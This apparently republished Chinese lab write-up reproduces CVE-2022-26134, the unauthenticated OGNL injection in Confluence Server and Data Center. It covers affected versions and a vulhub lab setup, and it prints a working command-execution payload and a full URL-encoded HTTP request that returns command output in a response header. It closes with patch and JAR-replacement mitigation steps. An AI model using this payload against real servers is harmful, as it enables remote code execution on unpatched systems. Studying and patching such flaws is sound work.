点击蓝字,关注我们
日期:2022-07-11 作者:hdsec 介绍:在受影响的 Confluence Server
和Data Center
版本中,存在一个OGNL
注入漏洞,该漏洞允许未经身份验证的攻击者在Confluence Server
或Data Center
实例上执行任意代码。
0x00 前言
Atlassian Confluence
是企业广泛使用的wiki
系统。2022年6月2日Atlassian
官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence
中执行任意命令。
0x01 漏洞影响范围
Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1
0x02 漏洞环境搭建
漏洞利用环境:
https://github.com/vulhub/vulhub/tree/master/confluence
执行如下命令启动一个Confluence Server 7.13.6
漏洞环境:
docker-compose up -d
环境启动后,访问http://VPS:8090
,进入安装向导,点击Get an evaluation license
,去Atlassian
官方申请一个Confluence Server
的测试证书。
申请完后会自动页面填入license
,然后点击Next
,进入下一步。
填写数据库账号密码,选择postgres
数据库,设置类型选择By connection string
,地址为db
,账号密码均为postgres
。
这里需要注意的一点建议搭建在4G
内存以上的机器进行漏洞复现,否则容易卡死。
点击Example Site
,创建一个示例网站。
点击Manage users and groups within Confluence
,在Confluence
中管理用户和组。
输入需要配置的用户信息,点击Next
。
设置成功,环境搭建完成。
0x03 漏洞复现
OGNL
表达式注入命令执行payload
:
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
构造如下请求数据包:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 123.60.91.170:8090
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Cookie:
Connection: close
可以发现在返回的响应包里,返回了我们命令执行后的结果。
除了利用上面构造数据包的方式,还可以利用脚本:
CVE-2022-26134
对漏洞进行验证,如下图👇👇
0x04 修复建议
4.1 官方修复建议
当前官方已发布最新版本,建议受影响的用户及时更新升级到【最新版本】:
https://www.atlassian.com/software/confluence/download-archives
4.2 临时修复建议
如果在集群内运行Confluence
则需要在每个节点上重复以下过程:
1.关闭 Confluence
2.下载https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar
3.删除或者将 /confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar 移出 Confluence 安装目录
注:不要在目录中留下旧的 JAR 文件
4.将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中
5.检查新的 xwork-1.0.3-atlassian-10.jar 文件权限是否和所在目录的其他文件权限一致。
6.启动 Confluence
Confluence 7.0.0
- Confluence 7.14.2
的用户:
如果在集群内运行 Confluence
则需要在每个节点上重复以下过程:
1.关闭 Confluence
2.下载
https://packages.atlassian.com/maven-internal/opensymphony/xwork/1.0.3-atlassian-10/xwork-1.0.3-atlassian-10.jar
https://packages.atlassian.com/maven-internal/opensymphony/webwork/2.1.5-atlassian-4/webwork-2.1.5-atlassian-4.jar
https://confluence.atlassian.com/doc/files/1130377146/1137639562/3/1654274890463/CachedConfigurationProvider.class
3.删除或者将 /confluence/WEB-INF/lib/xwork-1.0.3.6.jar
/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar
移出 Confluence 安装目录
注:不要在目录中留下旧的 JAR 文件
4. 将下载的 xwork-1.0.3-atlassian-10.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中
5.将下载的 webwork-2.1.5-atlassian-4.jar 文件复制到 /confluence/WEB-INF/lib/ 目录中
6.检查两个新文件权限是否和所在目录的其他文件权限一致。
7.切换到目 录/confluence/WEB-INF/classes/com/atlassian/confluence/setup
a.创建一个名为的新目录 webwork
b.将 CachedConfigurationProvider.class 复制到/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork
c.确保 CachedConfigurationProvider.class 文件和/confluence/WEB-INF/classes/com/atlassian/confluence/setup/webwork 目录权限正确
8.启动 Confluence
0x05 总结
简单复现个漏洞,以后遇到不至于手足无措。
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室
Cyber Security Lab
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
原文始发于微信公众号(宸极实验室):『漏洞复现』Confluence OGNL 表达式注入命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论